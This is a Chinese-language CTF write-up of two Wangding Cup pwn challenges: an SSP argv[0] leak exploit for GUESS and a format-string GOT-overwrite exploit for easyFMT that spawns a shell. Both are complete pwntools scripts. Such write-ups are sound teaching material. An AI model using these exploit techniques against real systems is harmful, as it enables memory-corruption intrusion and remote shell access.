avatar

网鼎杯 guess easyFMT

碎碎念

最近真的好忙,网鼎杯这场2道pwn拖了很久才更新,这周五放弃刀塔的时间 来激发一下学习的热情。总共做了两道easyFMT和GUESS。GUESS这道题不错,get到了canary新的玩法,同时也学到了Stack Smashing Protector(ssp)的一些知识。

GUESS

先看下开了什么保护,确定一下思路。64位程式有canary,nx,got表可写。

enter image description here

看看程式的逻辑,有一处明显的溢出,但是有canary貌似没办法利用。在程式中我们可以输入3次,结合ssp思路就很明显了。

enter image description here

idea

1、泄漏puts的真实地址计算出libc_base

2、泄漏environ指针泄漏程式的栈地址

3、计算栈地址和flag在栈上的位置的偏移打到flag

一些前置知识

程式的执行流程

如果在有canary的情况,我们溢出栈的话在程式返回时候,会校验canary,如果正确的话正常返回,错误的话就会跳入___stack_chk_fail这个函数。我们来看看这个函数怎么实现的~

enter image description here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

fortify_fail
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2,
"*** %s ***: %s terminated\n"
,
msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

可以看到会输出__libc_argv[0]这个位置的参数,我们可以通过溢出来控制这个参数,让程式输出我们想要的东西,比如got表。

environment pointer

environment pointer. A component of a task descriptor that designates where the instructions and data code for the task are located. A control component element belonging to the stack model of block structure execution that points to the current environment.

我们来看看这个指针在哪里,从下面这张图可以知道这个指针位于栈顶。environ和__libc_argv[0]之间的距离相差0x10。

enter image description here

1
2
pwndbg> p & __libc_argv[0]
pwndbg> p/x ((char **)environ)

enter image description here

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./guess')
target = process('./guess')
got_puts = elf.got['puts']
payload = ''
payload += fit({0x128:[p64(got_puts)]})
target.sendlineafter('Please type your guessing flag', payload)
target.recvuntil('*** stack smashing detected ***: ')
puts_addr = u64(target.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['environ']
payload = fit({0x128:[p64(environ_addr)]})
target.sendlineafter('Please type your guessing flag', payload)
target.recvuntil('*** stack smashing detected ***: ')
stack_addr = u64(target.recv(6).ljust(8,'\x00'))
flag_addr = stack_addr - 0x168
payload = fit({0x128:[p64(flag_addr)]})
target.sendlineafter('Please type your guessing flag', payload)
target.interactive()

enter image description here

easyFMT

比较常规的一道fmt,先看下程式逻辑。就如题目所描述的,easyfmt。在printf时有明显的格式化字符串漏洞,所以直接说下思路上exp了xd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v4; // [esp+6Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, &buf, 0x64u);
printf(&buf);
putchar(10);
}
}

idea

1、确定偏移

2、利用格式化字符串输出puts的got表获取puts真实地址,计算system地址

3、覆盖printf的got表为system地址

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import * 
context.log_level = 'debug'
target = remote('192.168.5.131',9999)

libc = ELF('/lib32/libc.so.6')
elf =ELF('/home/star/Desktop/pwn')

got_puts = elf.got['puts']
print type(got_puts)
payload = ''
payload += p32(got_puts)
payload += '%6$s'
#print repr(payload)
target.recvuntil('Do you know repeater?')
target.recvuntil('\n')
target.sendline(payload)
puts_addr = target.recv()[4:8] # the first 4 bytes for repter '%6$s'
log.success(hex(u32(puts_addr)))
system_addr = u32(puts_addr) - (libc.symbols['puts'] - libc.symbols['system'])
#log.success(hex(system_addr))
got_prt = elf.got['printf']
#print hex(got_prt)
payload2 = ''
payload2 = fmtstr_payload(6,{got_prt:system_addr})
#target.recvuntil('\n')
target.sendline(payload2)
#target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()
Author: CarlStar
Link: http://yoursite.com/2018/09/15/wdb/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment